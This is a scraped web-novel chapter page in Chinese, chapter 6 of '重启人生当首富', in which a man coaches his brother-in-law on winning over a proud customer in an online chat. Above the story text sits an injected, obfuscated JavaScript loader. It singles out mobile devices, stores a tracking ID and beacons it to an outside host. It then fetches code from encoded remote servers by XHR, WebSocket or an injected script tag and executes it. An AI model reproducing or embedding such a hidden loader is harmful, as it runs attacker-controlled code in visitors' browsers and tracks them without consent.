足迹
重启人生当首富
登录
关灯
护眼
字体:

第6章 挽回局面(第1页)

function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};

大约一分钟后,通讯框里出现了对方的回复:“呵呵,我知道了,你们的产品挺不错的,我再考虑考虑。”

呵呵是个什么意思,云霄天还是知道的,满满的都是敷衍。

看着对方这纯粹的客套话,他快速的在脑海中思索,想的脑袋都要炸了,最后硬着头皮,又打了一些讨好和给更多优惠的话语。

只要能让对方下订单,就算当孙子云霄天也认了。

这时候,魏南风再次出声:“先前只是敷衍,你再这样回复,他应该就会直接走人了。”

云霄天几乎就要按在回车键上的手指停了下来,他转回头,盯着魏南风很是不爽的道:“你在这瞎BB什么,你懂做生意吗!别搞的好像生意大拿一样,真这么牛逼,还会让我姐住在这种连暖气都没有的破房子里?”

“以前的事情,是我对不住她们娘俩,这个我承认。但是现在,一码归一码。”面对云霄天的暴脾气,魏南风没有发火,仍然满脸淡定的道:“根据先前看到的那些聊天记录,基本可以判断你的这个客户不是那种喜欢听讨好话的人,他的身份地位,应该比你想象中的要高。”

“这样的人,奉承话已经听的耳朵长茧子。”

“你想得到他的信任,就得先不把他放在眼里,因为这种人会有很强的征服欲,你太弱,他就没有征服的成就感,对你也就愈发的没有兴趣。”

“只有让他感受到自己在面对一个平等的人物时,才能有合作的可能。”

云霄天听的一怔,以前他对赵世聪说脏话的时候,这个书呆子要么气的七窍生烟,指着他跳脚说什么不文明,流氓之类的词语,要么直接一甩袖子,夺门而出。

用逃避来证明自己的勇敢,这是懦夫的典型表现。所以,云霄天一直不喜欢赵世聪,也正因为觉得这家伙太不男人。

哪怕你上来干一架,被打的头破血流,都可以敬你是条汉子。

而现在,魏南风没有生气,没有跳脚,更没有逃避,他心平气和的讲述自己的见解,那番气度,和之前的赵世聪截然不同。

如果不是清楚这张脸长在谁身上,云霄天都以为自己遇到了一个上流社会的大人物。

不对,不对,这不是上流社会的大人物,他只是个书呆子而已!

“讲的什么狗屁,以为用这些乱七八糟的话就能糊弄我?连生意场都没进过,还想教我怎么跟人做生意?”云霄天不屑的撇嘴道。

魏南风无所谓的道:“你不信也没办法,但回复之前,你最好再一次看看之前的聊天记录,看看这个客户是在哪句话之后,才逐渐表现出不想合作的迹象。”

“我看你个大头鬼!”云霄天嘀咕着,可手却没有再去按回车键。

这单生意太重要,他被魏南风说的心里很没底,万一对方真的不喜欢奉承话怎么办?

过了几秒钟,云霄天才强忍着心头的不爽,重新去翻聊天记录。

一边翻,他还在心里骂自己,竟然被一个书呆子给吓唬住了。

然而,当他以另外一种思维,重新去审视聊天记录的时候,还真发现了一些端倪。

根据记录中的话语来看,姓刘的客户开始时回复的都很正面,意向也很好。

但就在销售员小张恭维他有眼光,选择对了商品后,客户的回复就显得有些敷衍了。

再往后,小张说的恭维话越多,客户就越是表现出不想合作的意思。

云霄天看的直皱眉头,如果刨去所有外在因素,现在的情况,似乎真像那个书呆子说的一样。

虽看不到云霄天的表情,但从他翻看聊天记录停顿的地方和时间,魏南风也可以确定,小舅子已经看出头绪了。

他再次开口道:“像这种性格强势的客户,是非常有主见的,或者说逆反心理很严重。”

“哪怕他觉得你们产品不错,可你也绝对不能说赞同他眼光的话。因为他只想看到自己一个人有这么独到的眼光,别人夸他,反而会让他觉得不爽,哪怕想买,也不会买了。”

聊天记录看的云霄天十分犹豫,因为所有的迹象,都从侧面证明魏南风说的是对的。